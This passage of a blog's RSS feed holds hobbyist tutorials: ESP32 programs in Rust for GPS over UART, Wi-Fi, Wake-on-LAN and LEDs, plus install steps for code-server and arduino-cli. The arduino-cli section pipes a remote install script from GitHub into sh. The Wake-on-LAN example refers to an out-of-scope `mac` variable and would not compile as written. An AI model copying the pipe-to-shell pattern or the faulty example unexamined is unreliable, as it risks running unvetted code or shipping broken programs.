    log::info!(&#34;Démarrage de l&#39;application GPS&#34;);

    // Initialisation des périphériques
    let peripherals = Peripherals::take().unwrap();
    
    // Configuration de l&#39;UART
    let config = config::Config::default()
        .baudrate(Hertz(9600))
        .data_bits(DataBits::DataBits8)
        .parity_none()
        .stop_bits(StopBits::STOP1);

    // Création du driver UART avec typage explicite
    let mut uart_driver = UartDriver::new(
        peripherals.uart2,
        peripherals.pins.gpio17, // TX
        peripherals.pins.gpio16, // RX
        Option::&lt;esp_idf_hal::gpio::Gpio0&gt;::None, // RTS (pas utilisé)
        Option::&lt;esp_idf_hal::gpio::Gpio0&gt;::None, // CTS (pas utilisé)
        &amp;config,
    )?;

    println!(&#34;UART initialisé avec un débit de 9600 bauds&#34;);

    // Buffer pour stocker les données GPS
    let mut buffer = [0u8; 128];
    
    loop {
        // Lecture des données disponibles sur l&#39;UART avec timeout
        match uart_driver.read(&amp;mut buffer, 1000) {
            Ok(bytes_read) if bytes_read &gt; 0 =&gt; {
                let gps_data = &amp;buffer[..bytes_read];
                println!(
                    &#34;Données GPS reçues : {}&#34;,
                    String::from_utf8_lossy(gps_data)
                );
            },
            Ok(_) =&gt; {
                println!(&#34;Aucune donnée GPS reçue (timeout)&#34;);
            },
            Err(e) =&gt; {
                println!(&#34;Erreur de lecture UART: {:?}&#34;, e);
            }
        }

        println!(&#34;-------------------------------&#34;);
        std::thread::sleep(std::time::Duration::from_secs(1));
    }
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Connect ESP32 to wifi network using Rust</title>
            <link>https://leandeep.com/connect-esp32-to-wifi-network-using-rust/</link>
            <pubDate>Fri, 28 Mar 2025 15:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/connect-esp32-to-wifi-network-using-rust/</guid>
            <description>&lt;br/&gt;
&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[dependencies]
log = &amp;#34;0.4&amp;#34;
anyhow = &amp;#34;1&amp;#34;
embedded-svc = { version = &amp;#34;0.28&amp;#34;, default-features = false }
esp-idf-svc = { version = &amp;#34;0.51&amp;#34;, features = [&amp;#34;critical-section&amp;#34;, &amp;#34;embassy-time-driver&amp;#34;, &amp;#34;embassy-sync&amp;#34;] }
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;code&#34;&gt;Code&lt;/h2&gt;
&lt;p&gt;Now update &lt;code&gt;main.rs&lt;/code&gt; and add this code:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;use core::convert::TryInto;
use embedded_svc::wifi::{AuthMethod, ClientConfiguration, Configuration};

use esp_idf_svc::hal::prelude::Peripherals;
use esp_idf_svc::log::EspLogger;
use esp_idf_svc::wifi::{BlockingWifi, EspWifi};
use esp_idf_svc::{eventloop::EspSystemEventLoop, nvs::EspDefaultNvsPartition};

use log::info;

const SSID: &amp;amp;str = &amp;#34;SSID&amp;#34;;
const PASSWORD: &amp;amp;str = &amp;#34;password&amp;#34;;

fn main() -&amp;gt; anyhow::Result&amp;lt;()&amp;gt; {
    esp_idf_svc::sys::link_patches();
    EspLogger::initialize_default();

    let peripherals = Peripherals::take()?;
    let sys_loop = EspSystemEventLoop::take()?;
    let nvs = EspDefaultNvsPartition::take()?;

    let mut wifi = BlockingWifi::wrap(
        EspWifi::new(peripherals.modem, sys_loop.clone(), Some(nvs))?,
        sys_loop,
    )?;

    connect_wifi(&amp;amp;mut wifi)?;

    let ip_info = wifi.wifi().sta_netif().get_ip_info()?;

    info!(&amp;#34;Wifi DHCP info: {:?}&amp;#34;, ip_info);

    info!(&amp;#34;Shutting down in 5s...&amp;#34;);

    std::thread::sleep(core::time::Duration::from_secs(5));

    Ok(())
}

fn connect_wifi(wifi: &amp;amp;mut BlockingWifi&amp;lt;EspWifi&amp;lt;&amp;#39;static&amp;gt;&amp;gt;) -&amp;gt; anyhow::Result&amp;lt;()&amp;gt; {
    let wifi_configuration: Configuration = Configuration::Client(ClientConfiguration {
        ssid: SSID.try_into().unwrap(),
        bssid: None,
        auth_method: AuthMethod::WPA2Personal,
        password: PASSWORD.try_into().unwrap(),
        channel: None,
        ..Default::default()
    });

    wifi.set_configuration(&amp;amp;wifi_configuration)?;

    wifi.start()?;
    info!(&amp;#34;Wifi started&amp;#34;);

    wifi.connect()?;
    info!(&amp;#34;Wifi connected&amp;#34;);

    wifi.wait_netif_up()?;
    info!(&amp;#34;Wifi netif up&amp;#34;);

    Ok(())
}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;build-and-run&#34;&gt;Build and Run&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<br/>
<h2 id="prerequisites">Prerequisites</h2>
<pre tabindex="0"><code>[dependencies]
log = &#34;0.4&#34;
anyhow = &#34;1&#34;
embedded-svc = { version = &#34;0.28&#34;, default-features = false }
esp-idf-svc = { version = &#34;0.51&#34;, features = [&#34;critical-section&#34;, &#34;embassy-time-driver&#34;, &#34;embassy-sync&#34;] }
</code></pre><br/>
<h2 id="code">Code</h2>
<p>Now update <code>main.rs</code> and add this code:</p>
<pre tabindex="0"><code>use core::convert::TryInto;
use embedded_svc::wifi::{AuthMethod, ClientConfiguration, Configuration};

use esp_idf_svc::hal::prelude::Peripherals;
use esp_idf_svc::log::EspLogger;
use esp_idf_svc::wifi::{BlockingWifi, EspWifi};
use esp_idf_svc::{eventloop::EspSystemEventLoop, nvs::EspDefaultNvsPartition};

use log::info;

const SSID: &amp;str = &#34;SSID&#34;;
const PASSWORD: &amp;str = &#34;password&#34;;

fn main() -&gt; anyhow::Result&lt;()&gt; {
    esp_idf_svc::sys::link_patches();
    EspLogger::initialize_default();

    let peripherals = Peripherals::take()?;
    let sys_loop = EspSystemEventLoop::take()?;
    let nvs = EspDefaultNvsPartition::take()?;

    let mut wifi = BlockingWifi::wrap(
        EspWifi::new(peripherals.modem, sys_loop.clone(), Some(nvs))?,
        sys_loop,
    )?;

    connect_wifi(&amp;mut wifi)?;

    let ip_info = wifi.wifi().sta_netif().get_ip_info()?;

    info!(&#34;Wifi DHCP info: {:?}&#34;, ip_info);

    info!(&#34;Shutting down in 5s...&#34;);

    std::thread::sleep(core::time::Duration::from_secs(5));

    Ok(())
}

fn connect_wifi(wifi: &amp;mut BlockingWifi&lt;EspWifi&lt;&#39;static&gt;&gt;) -&gt; anyhow::Result&lt;()&gt; {
    let wifi_configuration: Configuration = Configuration::Client(ClientConfiguration {
        ssid: SSID.try_into().unwrap(),
        bssid: None,
        auth_method: AuthMethod::WPA2Personal,
        password: PASSWORD.try_into().unwrap(),
        channel: None,
        ..Default::default()
    });

    wifi.set_configuration(&amp;wifi_configuration)?;

    wifi.start()?;
    info!(&#34;Wifi started&#34;);

    wifi.connect()?;
    info!(&#34;Wifi connected&#34;);

    wifi.wait_netif_up()?;
    info!(&#34;Wifi netif up&#34;);

    Ok(())
}
</code></pre><br/>
<h2 id="build-and-run">Build and Run</h2>
<pre tabindex="0"><code>cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Power on a PC when a button is pushed on an ESP32 using Rust</title>
            <link>https://leandeep.com/power-on-a-pc-when-a-button-is-pushed-on-an-esp32-using-rust/</link>
            <pubDate>Fri, 28 Mar 2025 15:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/power-on-a-pc-when-a-button-is-pushed-on-an-esp32-using-rust/</guid>
            <description>&lt;br/&gt;
&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[dependencies]
log = &amp;#34;0.4&amp;#34;
anyhow = &amp;#34;1&amp;#34;
embedded-svc = { version = &amp;#34;0.28&amp;#34;, default-features = false }
esp-idf-svc = { version = &amp;#34;0.51&amp;#34;, features = [&amp;#34;critical-section&amp;#34;, &amp;#34;embassy-time-driver&amp;#34;, &amp;#34;embassy-sync&amp;#34;] }
esp-idf-hal = &amp;#34;0.45.2&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;code&#34;&gt;Code&lt;/h2&gt;
&lt;p&gt;Now update &lt;code&gt;main.rs&lt;/code&gt; and add this code:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;
use core::convert::TryInto;
use embedded_svc::wifi::{AuthMethod, ClientConfiguration, Configuration};

//use esp_idf_svc::hal::prelude::Peripherals;
use esp_idf_svc::log::EspLogger;
use esp_idf_svc::wifi::{BlockingWifi, EspWifi};
use esp_idf_svc::{eventloop::EspSystemEventLoop, nvs::EspDefaultNvsPartition};

use log::info;
use std::net::{UdpSocket, Ipv4Addr, SocketAddrV4};
use std::time::Duration;
use esp_idf_hal::delay::FreeRtos;
use esp_idf_hal::gpio::PinDriver;
use esp_idf_hal::peripherals::Peripherals;

const SSID: &amp;amp;str = &amp;#34;...&amp;#34;;
const PASSWORD: &amp;amp;str = &amp;#34;...&amp;#34;;

fn main() -&amp;gt; anyhow::Result&amp;lt;()&amp;gt; {
    esp_idf_svc::sys::link_patches();
    EspLogger::initialize_default();

    let peripherals = Peripherals::take()?;
    let sys_loop = EspSystemEventLoop::take()?;
    let nvs = EspDefaultNvsPartition::take()?;

    let mut wifi = BlockingWifi::wrap(
        EspWifi::new(peripherals.modem, sys_loop.clone(), Some(nvs))?,
        sys_loop,
    )?;

    connect_wifi(&amp;amp;mut wifi)?;

    let ip_info = wifi.wifi().sta_netif().get_ip_info()?;

    info!(&amp;#34;Wifi DHCP info: {:?}&amp;#34;, ip_info);
    
    //let peripherals = Peripherals::take().unwrap();
    let pins = peripherals.pins;

    let mut led = PinDriver::output(pins.gpio2).unwrap();
    let button = PinDriver::input(pins.gpio35).unwrap();
    let mac: [u8; 6] = [0x94, 0xC6, 0x91, 0xAD, 0x1D, 0x49];
    loop {
        if button.is_high() {
            log::info!(&amp;#34;Switch ON&amp;#34;);
            led.set_high().unwrap(); // Switch ON LED
            send_wol(&amp;amp;mac);
            
        } else {
            log::info!(&amp;#34;Switch OFF&amp;#34;);
            led.set_low().unwrap();  // Switch OFF LED
        }
        FreeRtos::delay_ms(1000u32);
    }
    
}

fn connect_wifi(wifi: &amp;amp;mut BlockingWifi&amp;lt;EspWifi&amp;lt;&amp;#39;static&amp;gt;&amp;gt;) -&amp;gt; anyhow::Result&amp;lt;()&amp;gt; {
    let wifi_configuration: Configuration = Configuration::Client(ClientConfiguration {
        ssid: SSID.try_into().unwrap(),
        bssid: None,
        auth_method: AuthMethod::WPA2Personal,
        password: PASSWORD.try_into().unwrap(),
        channel: None,
        ..Default::default()
    });

    wifi.set_configuration(&amp;amp;wifi_configuration)?;

    wifi.start()?;
    info!(&amp;#34;Wifi started&amp;#34;);

    wifi.connect()?;
    info!(&amp;#34;Wifi connected&amp;#34;);

    wifi.wait_netif_up()?;
    info!(&amp;#34;Wifi netif up&amp;#34;);
    send_wol(&amp;amp;mac);
    
    Ok(())
}

fn send_wol(mac: &amp;amp;[u8; 6]) {
    info!(&amp;#34;Sending WOL request on the LAN&amp;#34;);
    let mut packet: Vec&amp;lt;u8&amp;gt; = vec![0xFF; 6]; // 6 octets at 0xFF
    packet.extend_from_slice(&amp;amp;mac.repeat(16)); // repeat the MAC address 16 times
    let socket = UdpSocket::bind(&amp;#34;0.0.0.0:0&amp;#34;).expect(&amp;#34;Impossible to bind socket&amp;#34;);
    socket.set_read_timeout(Some(Duration::from_secs(2))).unwrap();
    let addr = SocketAddrV4::new(Ipv4Addr::new(255, 255, 255, 255), 9);
    socket
        .send_to(&amp;amp;packet, addr)
        .expect(&amp;#34;Failed sending WOL packet&amp;#34;);

    info!(&amp;#34;Wake-on-LAN sent to MAC: {:02x}:{:02x}:{:02x}:{:02x}:{:02x}:{:02x}&amp;#34;, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);

}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;build-and-run&#34;&gt;Build and Run&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<br/>
<h2 id="prerequisites">Prerequisites</h2>
<pre tabindex="0"><code>[dependencies]
log = &#34;0.4&#34;
anyhow = &#34;1&#34;
embedded-svc = { version = &#34;0.28&#34;, default-features = false }
esp-idf-svc = { version = &#34;0.51&#34;, features = [&#34;critical-section&#34;, &#34;embassy-time-driver&#34;, &#34;embassy-sync&#34;] }
esp-idf-hal = &#34;0.45.2&#34;
</code></pre><br/>
<h2 id="code">Code</h2>
<p>Now update <code>main.rs</code> and add this code:</p>
<pre tabindex="0"><code>
use core::convert::TryInto;
use embedded_svc::wifi::{AuthMethod, ClientConfiguration, Configuration};

//use esp_idf_svc::hal::prelude::Peripherals;
use esp_idf_svc::log::EspLogger;
use esp_idf_svc::wifi::{BlockingWifi, EspWifi};
use esp_idf_svc::{eventloop::EspSystemEventLoop, nvs::EspDefaultNvsPartition};

use log::info;
use std::net::{UdpSocket, Ipv4Addr, SocketAddrV4};
use std::time::Duration;
use esp_idf_hal::delay::FreeRtos;
use esp_idf_hal::gpio::PinDriver;
use esp_idf_hal::peripherals::Peripherals;

const SSID: &amp;str = &#34;...&#34;;
const PASSWORD: &amp;str = &#34;...&#34;;

fn main() -&gt; anyhow::Result&lt;()&gt; {
    esp_idf_svc::sys::link_patches();
    EspLogger::initialize_default();

    let peripherals = Peripherals::take()?;
    let sys_loop = EspSystemEventLoop::take()?;
    let nvs = EspDefaultNvsPartition::take()?;

    let mut wifi = BlockingWifi::wrap(
        EspWifi::new(peripherals.modem, sys_loop.clone(), Some(nvs))?,
        sys_loop,
    )?;

    connect_wifi(&amp;mut wifi)?;

    let ip_info = wifi.wifi().sta_netif().get_ip_info()?;

    info!(&#34;Wifi DHCP info: {:?}&#34;, ip_info);
    
    //let peripherals = Peripherals::take().unwrap();
    let pins = peripherals.pins;

    let mut led = PinDriver::output(pins.gpio2).unwrap();
    let button = PinDriver::input(pins.gpio35).unwrap();
    let mac: [u8; 6] = [0x94, 0xC6, 0x91, 0xAD, 0x1D, 0x49];
    loop {
        if button.is_high() {
            log::info!(&#34;Switch ON&#34;);
            led.set_high().unwrap(); // Switch ON LED
            send_wol(&amp;mac);
            
        } else {
            log::info!(&#34;Switch OFF&#34;);
            led.set_low().unwrap();  // Switch OFF LED
        }
        FreeRtos::delay_ms(1000u32);
    }
    
}

fn connect_wifi(wifi: &amp;mut BlockingWifi&lt;EspWifi&lt;&#39;static&gt;&gt;) -&gt; anyhow::Result&lt;()&gt; {
    let wifi_configuration: Configuration = Configuration::Client(ClientConfiguration {
        ssid: SSID.try_into().unwrap(),
        bssid: None,
        auth_method: AuthMethod::WPA2Personal,
        password: PASSWORD.try_into().unwrap(),
        channel: None,
        ..Default::default()
    });

    wifi.set_configuration(&amp;wifi_configuration)?;

    wifi.start()?;
    info!(&#34;Wifi started&#34;);

    wifi.connect()?;
    info!(&#34;Wifi connected&#34;);

    wifi.wait_netif_up()?;
    info!(&#34;Wifi netif up&#34;);
    send_wol(&amp;mac);
    
    Ok(())
}

fn send_wol(mac: &amp;[u8; 6]) {
    info!(&#34;Sending WOL request on the LAN&#34;);
    let mut packet: Vec&lt;u8&gt; = vec![0xFF; 6]; // 6 octets at 0xFF
    packet.extend_from_slice(&amp;mac.repeat(16)); // repeat the MAC address 16 times
    let socket = UdpSocket::bind(&#34;0.0.0.0:0&#34;).expect(&#34;Impossible to bind socket&#34;);
    socket.set_read_timeout(Some(Duration::from_secs(2))).unwrap();
    let addr = SocketAddrV4::new(Ipv4Addr::new(255, 255, 255, 255), 9);
    socket
        .send_to(&amp;packet, addr)
        .expect(&#34;Failed sending WOL packet&#34;);

    info!(&#34;Wake-on-LAN sent to MAC: {:02x}:{:02x}:{:02x}:{:02x}:{:02x}:{:02x}&#34;, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);

}
</code></pre><br/>
<h2 id="build-and-run">Build and Run</h2>
<pre tabindex="0"><code>cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Switch on a LED using Rust when a button is pushed on ESP32</title>
            <link>https://leandeep.com/switch-on-a-led-using-rust-when-a-button-is-pushed-on-esp32/</link>
            <pubDate>Fri, 28 Mar 2025 14:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/switch-on-a-led-using-rust-when-a-button-is-pushed-on-esp32/</guid>
            <description>&lt;p&gt;The idea of this article is to explore how to switch on a LED when a push button is pressed. Once it is release the LED is switched off.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/push-button-rust-esp32.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[dependencies]
log = &amp;#34;0.4&amp;#34;
esp-idf-svc = { version = &amp;#34;0.51&amp;#34;, features = [&amp;#34;critical-section&amp;#34;, &amp;#34;embassy-time-driver&amp;#34;, &amp;#34;embassy-sync&amp;#34;] }
esp-idf-hal = &amp;#34;0.45.2&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;code&#34;&gt;Code&lt;/h2&gt;
&lt;p&gt;Now update &lt;code&gt;main.rs&lt;/code&gt; and add this code:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;use esp_idf_hal::delay::FreeRtos;
use esp_idf_hal::gpio::PinDriver;
use esp_idf_hal::peripherals::Peripherals;


fn main() -&amp;gt; ! {
    esp_idf_svc::sys::link_patches();

    // Bind the log crate to the ESP Logging facilities
    esp_idf_svc::log::EspLogger::initialize_default();

    log::info!(&amp;#34;Starting program...&amp;#34;);

    // Get ESP-IDF peripherals
    let peripherals = Peripherals::take().unwrap();
    let pins = peripherals.pins;

    let mut led = PinDriver::output(pins.gpio2).unwrap();
    let button = PinDriver::input(pins.gpio35).unwrap();

    loop {
        if button.is_high() {
            log::info!(&amp;#34;Switch ON&amp;#34;);
            led.set_high().unwrap(); // Switch ON LED
        } else {
            log::info!(&amp;#34;Switch OFF&amp;#34;);
            led.set_low().unwrap();  // Switch OFF LED
        }
        FreeRtos::delay_ms(100u32);
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;build-and-run&#34;&gt;Build and Run&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>The idea of this article is to explore how to switch on a LED when a push button is pressed. Once it is release the LED is switched off.</p>
<p><img src="/images/push-button-rust-esp32.png" alt="image"></p>
<br/>
<h2 id="prerequisites">Prerequisites</h2>
<pre tabindex="0"><code>[dependencies]
log = &#34;0.4&#34;
esp-idf-svc = { version = &#34;0.51&#34;, features = [&#34;critical-section&#34;, &#34;embassy-time-driver&#34;, &#34;embassy-sync&#34;] }
esp-idf-hal = &#34;0.45.2&#34;
</code></pre><br/>
<h2 id="code">Code</h2>
<p>Now update <code>main.rs</code> and add this code:</p>
<pre tabindex="0"><code>use esp_idf_hal::delay::FreeRtos;
use esp_idf_hal::gpio::PinDriver;
use esp_idf_hal::peripherals::Peripherals;


fn main() -&gt; ! {
    esp_idf_svc::sys::link_patches();

    // Bind the log crate to the ESP Logging facilities
    esp_idf_svc::log::EspLogger::initialize_default();

    log::info!(&#34;Starting program...&#34;);

    // Get ESP-IDF peripherals
    let peripherals = Peripherals::take().unwrap();
    let pins = peripherals.pins;

    let mut led = PinDriver::output(pins.gpio2).unwrap();
    let button = PinDriver::input(pins.gpio35).unwrap();

    loop {
        if button.is_high() {
            log::info!(&#34;Switch ON&#34;);
            led.set_high().unwrap(); // Switch ON LED
        } else {
            log::info!(&#34;Switch OFF&#34;);
            led.set_low().unwrap();  // Switch OFF LED
        }
        FreeRtos::delay_ms(100u32);
    }
}
</code></pre><br/>
<h2 id="build-and-run">Build and Run</h2>
<pre tabindex="0"><code>cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Make onboard LED blink using Rust on ESP32</title>
            <link>https://leandeep.com/make-onboard-led-blink-using-rust-on-esp32/</link>
            <pubDate>Fri, 28 Mar 2025 11:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/make-onboard-led-blink-using-rust-on-esp32/</guid>
            <description>&lt;p&gt;AI tools are awesome. Lately, I&amp;rsquo;ve been wondering if they could replace us developers, but actually no it&amp;rsquo;s impossible because you always have issues. However, it&amp;rsquo;s crazy how much they boost my productivity. I now do my research directly on LLMs and get answers much faster than if I had searched on Google myself. It&amp;rsquo;s fantastic!&lt;/p&gt;
&lt;p&gt;In this new article, we will explore how to make an onboard LED blink on an ESP32 using Rust.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>AI tools are awesome. Lately, I&rsquo;ve been wondering if they could replace us developers, but actually no it&rsquo;s impossible because you always have issues. However, it&rsquo;s crazy how much they boost my productivity. I now do my research directly on LLMs and get answers much faster than if I had searched on Google myself. It&rsquo;s fantastic!</p>
<p>In this new article, we will explore how to make an onboard LED blink on an ESP32 using Rust.</p>
<br/>
<h2 id="project-initialization">Project initialization</h2>
<pre tabindex="0"><code>cargo generate --git https://github.com/esp-rs/esp-idf-template cargo
cd blink
source ~/export-esp.sh
cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor
</code></pre><br/>
<h2 id="update-template-code">Update template code</h2>
<p><strong>Install Rust crate</strong></p>
<pre tabindex="0"><code>cargo add esp-idf-hal
</code></pre><br/>
<p><code>Cargo.toml</code> looks like this:</p>
<pre tabindex="0"><code>[package]
name = &#34;blink&#34;
version = &#34;0.1.0&#34;
authors = [&#34;olivier&#34;]
edition = &#34;2021&#34;
resolver = &#34;2&#34;
rust-version = &#34;1.77&#34;

[[bin]]
name = &#34;blink&#34;
harness = false # do not use the built in cargo test harness -&gt; resolve rust-analyzer errors

[profile.release]
opt-level = &#34;s&#34;

[profile.dev]
debug = true    # Symbols are nice and they don&#39;t increase the size on Flash
opt-level = &#34;z&#34;

[features]
default = []

experimental = [&#34;esp-idf-svc/experimental&#34;]

[dependencies]
log = &#34;0.4&#34;
esp-idf-svc = { version = &#34;0.51&#34;, features = [&#34;critical-section&#34;, &#34;embassy-time-driver&#34;, &#34;embassy-sync&#34;] }
esp-idf-hal = &#34;0.45.2&#34;

[build-dependencies]
embuild = &#34;0.33&#34;
</code></pre><br/>
<p>Now update <code>main.rs</code> and add this code:</p>
<pre tabindex="0"><code>use esp_idf_hal::gpio::PinDriver;
use esp_idf_hal::peripherals::Peripherals;
use esp_idf_hal::delay::FreeRtos;

fn main() -&gt; ! {

    let peripherals = Peripherals::take().unwrap();
    let pins = peripherals.pins;
    let mut led = PinDriver::output(pins.gpio2).unwrap();
    loop {
        FreeRtos::delay_ms(50u32);
        led.set_high().unwrap(); // Switch ON
        FreeRtos::delay_ms(50u32);
        led.set_low().unwrap();  // Switch OFF
    }
}
</code></pre><br/>
<p><strong>Build and Run</strong></p>
<pre tabindex="0"><code>cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer code server sur Ubuntu 22</title>
            <link>https://leandeep.com/installer-code-server-sur-ubuntu-22/</link>
            <pubDate>Fri, 28 Mar 2025 10:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-code-server-sur-ubuntu-22/</guid>
            <description>&lt;p&gt;Dans cet article très court, nous allons voir comment installer code-server sur Linux. Code-server est un vscode en remote.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;Rendez-vous sur &lt;a href=&#34;https://github.com/coder/code-server/releases&#34;&gt;https://github.com/coder/code-server/releases&lt;/a&gt; pour sélectionner la version que vous souhaitez installer.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export VERSION=4.102.1
# Sur Fedora
curl -fOL https://github.com/coder/code-server/releases/download/v$VERSION/code-server-$VERSION-amd64.rpm
sudo rpm -i code-server-$VERSION-amd64.rpm
# Sur Ubuntu 22
wget https://github.com/coder/code-server/releases/download/v4.102.1/code-server_4.102.1_amd64.deb
sudo dpkg -i code-server_4.102.1_amd64.deb
sudo systemctl enable --now code-server@$USER
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configuration&#34;&gt;Configuration&lt;/h2&gt;
&lt;p&gt;Editer le fichier de config &lt;code&gt;~/.config/code-server/config.yaml&lt;/code&gt; pour activer l&amp;rsquo;utilisation d&amp;rsquo;un certificat HTTPS (même en local) et récupérez le mot de passe d&amp;rsquo;accès à votre instance code-server.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article très court, nous allons voir comment installer code-server sur Linux. Code-server est un vscode en remote.</p>
<br/>
<h2 id="installation">Installation</h2>
<p>Rendez-vous sur <a href="https://github.com/coder/code-server/releases">https://github.com/coder/code-server/releases</a> pour sélectionner la version que vous souhaitez installer.</p>
<pre tabindex="0"><code>export VERSION=4.102.1
# Sur Fedora
curl -fOL https://github.com/coder/code-server/releases/download/v$VERSION/code-server-$VERSION-amd64.rpm
sudo rpm -i code-server-$VERSION-amd64.rpm
# Sur Ubuntu 22
wget https://github.com/coder/code-server/releases/download/v4.102.1/code-server_4.102.1_amd64.deb
sudo dpkg -i code-server_4.102.1_amd64.deb
sudo systemctl enable --now code-server@$USER
</code></pre><br/>
<h2 id="configuration">Configuration</h2>
<p>Editer le fichier de config <code>~/.config/code-server/config.yaml</code> pour activer l&rsquo;utilisation d&rsquo;un certificat HTTPS (même en local) et récupérez le mot de passe d&rsquo;accès à votre instance code-server.</p>
<p>Un fois la config modifiée, redémarrer le service avec la commande: <code>sudo systemctl restart code-server@$USER</code></p>
<br/>
<p>That&rsquo;s all!</p>
<p>Rendez-vous sur https://SERVER_IP:8080 (<code>8080</code> est le port par défaut)</p>
]]></content>
        </item>
        
        <item>
            <title>Installer Arduino cli Ubuntu 22</title>
            <link>https://leandeep.com/installer-arduino-cli-ubuntu-22/</link>
            <pubDate>Fri, 28 Mar 2025 09:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-arduino-cli-ubuntu-22/</guid>
            <description>&lt;p&gt;Dans ce nouvel article très court, nous allons voir comment créer un projet Arduino, le compiler et le déployer sur un ESP en ligne de commande.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir -p ~/local/bin
curl -fsSL https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh | BINDIR=~/local/bin sh
echo &amp;#39;export PATH=&amp;#34;$HOME/local/bin:$PATH&amp;#34;&amp;#39; &amp;gt;&amp;gt; ~/.bashrc
source ~/.bashrc
arduino-cli version


arduino-cli core update-index
arduino-cli core install esp32:esp32
arduino-cli sketch new mon_projet_esp32_arduino
arduino-cli compile --fqbn esp32:esp32:esp32 mon_projet_esp32_arduino
arduino-cli upload -p /dev/ttyUSB0 --fqbn esp32:esp32:esp32 mon_projet_esp32_arduino
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;test&#34;&gt;Test&lt;/h2&gt;
&lt;p&gt;Ouvrir le projet Arduino mon_projet_esp32_arduino et modifier le fichier .ino.
Insérer le code suivant:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans ce nouvel article très court, nous allons voir comment créer un projet Arduino, le compiler et le déployer sur un ESP en ligne de commande.</p>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>mkdir -p ~/local/bin
curl -fsSL https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh | BINDIR=~/local/bin sh
echo &#39;export PATH=&#34;$HOME/local/bin:$PATH&#34;&#39; &gt;&gt; ~/.bashrc
source ~/.bashrc
arduino-cli version


arduino-cli core update-index
arduino-cli core install esp32:esp32
arduino-cli sketch new mon_projet_esp32_arduino
arduino-cli compile --fqbn esp32:esp32:esp32 mon_projet_esp32_arduino
arduino-cli upload -p /dev/ttyUSB0 --fqbn esp32:esp32:esp32 mon_projet_esp32_arduino
</code></pre><br/>
<h2 id="test">Test</h2>
<p>Ouvrir le projet Arduino mon_projet_esp32_arduino et modifier le fichier .ino.
Insérer le code suivant:</p>
<pre tabindex="0"><code>#define LED 2

void setup() {
  // Set pin mode
  pinMode(LED,OUTPUT);
}

void loop() {
  delay(50);
// you can set the delay time by adjusting the parameter of delay();
  digitalWrite(LED,HIGH);
  delay(50);
  digitalWrite(LED,LOW);
}
</code></pre><br/>
<p>Puis pour rebuid et redeploy:</p>
<pre tabindex="0"><code>arduino-cli compile --fqbn esp32:esp32:esp32 mon_projet_esp32_arduino
arduino-cli upload -p /dev/ttyUSB0 --fqbn esp32:esp32:esp32 mon_projet_esp32_arduino
</code></pre><br/>
<h2 id="troubleshooting">Troubleshooting</h2>
